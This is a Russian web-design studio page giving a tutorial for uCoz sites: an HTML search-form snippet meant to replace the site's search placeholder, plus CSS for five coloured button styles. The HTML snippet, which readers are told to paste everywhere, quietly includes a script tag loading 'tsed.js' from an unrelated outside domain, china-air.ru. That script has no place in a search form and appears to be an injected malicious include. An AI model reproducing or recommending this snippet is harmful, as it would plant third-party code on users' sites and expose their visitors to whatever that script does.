Добро пожаловать в студию графики и веб-дизайна Art-Color
 
 

Добро пожаловать на StudioAC.ru. Наша дизайн студия занимается разработкой web сайтов, созданием дизайнов сайта.Так как большенство людей не умеют, или не имеют возможности рисовать профессиональную графику, мы делаем это за них.Графика для сайтов - это создание баннеров, создание шапки и остально мелочи которая нужна что бы ваш сайт был привлекательным и запомнился посетителю. Так же наш сайт предоставляет готовую графику. В неё входят готовые шаблоны сайтов, только уникальные скрипты, кнопки для сайтов а так же PSD файлы. Мы выкладываем только авторские изделия, то есть все что есть у нас на сайте - это все работа нашей команды.


 

 
12.07.2025

[c][/c]Представляем вашему вниманию пять цветовых вариантов форм поиска для сайтов системы uCoz.
В место:

[code]$SEARCH_FORM$[/code]

Везде ставим:

[code]<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
<input class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/>
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<input class="poick_knopka" type="submit" value="Найти" />
<input type="hidden" name="t" value="0" />
</form>[/code]

И теперь остается прописать стили!
Фиолетовая форма:

[code]/* Форма поиска фиолетовая кнопка
------------------------------------------*/
.poick_os {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka {
text-shadow: 1px 1px 1px #751a9b;
width:70px;
height:27px;
cursor:pointer;
background:#ce36fa;
border:1px solid #a622e3;
color:#fff; font-weight: bold!important;
}

.poick_knopka:hover {background:#b73cea;}

.poick_os,
.poick_knopka {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]

Синяя форма:

[code]/* Форма поиска синяя кнопка
------------------------------------------*/
.poick_os1 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os1 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole1 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka1 {
text-shadow: 1px 1px 1px #1061B0;
width:70px;
height:27px;
cursor:pointer;
background:#36A6FA;
border:1px solid #2290e3;
color:#fff; font-weight: bold!important;
}

.poick_knopka1:hover {background:#3c9fea;}

.poick_os1,
.poick_knopka1 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]

Красная форма:

[code]/* Форма поиска красная кнопка
------------------------------------------*/
.poick_os2 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os2 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole2 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka2 {
text-shadow: 1px 1px 1px #b01010;
width:70px;
height:27px;
cursor:pointer;
background:#fa3636;
border:1px solid #e32222;
color:#fff; font-weight: bold!important;
}

.poick_knopka2:hover {background:#ea3c3c;}

.poick_os2,
.poick_knopka2 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]

Зеленая форма:

[code]/* Форма поиска зелёная кнопка
------------------------------------------*/
.poick_os3 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os3 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole3 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka3 {
text-shadow: 1px 1px 1px #368620;
width:70px;
height:27px;
cursor:pointer;
background:#6ae14a;
border:1px solid #57c939;
color:#fff; font-weight: bold!important;
}

.poick_knopka3:hover {background:#65d447;}

.poick_os3,
.poick_knopka3 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]

Оранжевая форма:

[code]/* Форма поиска оранжевая кнопка
------------------------------------------*/
.poick_os4 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os4 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole4 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka4 {
text-shadow: 1px 1px 1px #865520;
width:70px;
height:27px;
cursor:pointer;
background:#e1954a;
border:1px solid #c97639;
color:#fff; font-weight: bold!important;
}

.poick_knopka4:hover {background:#d48347;}

.poick_os4,
.poick_knopka4 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]


Добавил:budyvmaster | Категория: Скрипты | Дата: 12.07.2025 | Просмотров: 342 | Комментариев: (0)
Новичкам. Border'ы в CSS
Ключевики в SEO
Шапка для авто...
Вертикальное легкое простое меню
Универсальная статистика
Красивый блок друзей сайта
Просилка регистрации для ucoz
Новый вид статистики пользователей
Как повысить PR сайта
Набор файловиков. (выдвижное меню)

Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

графика для сайтов | создание баннеров | создание шапки

Дизайн, файлы, идеи © 2010-2011 www.studioac.ru
Статьи ЗАПРЕЩАЕТСЯ копировать дизайн, его элементы, и контент.
Авторизация

Партнеры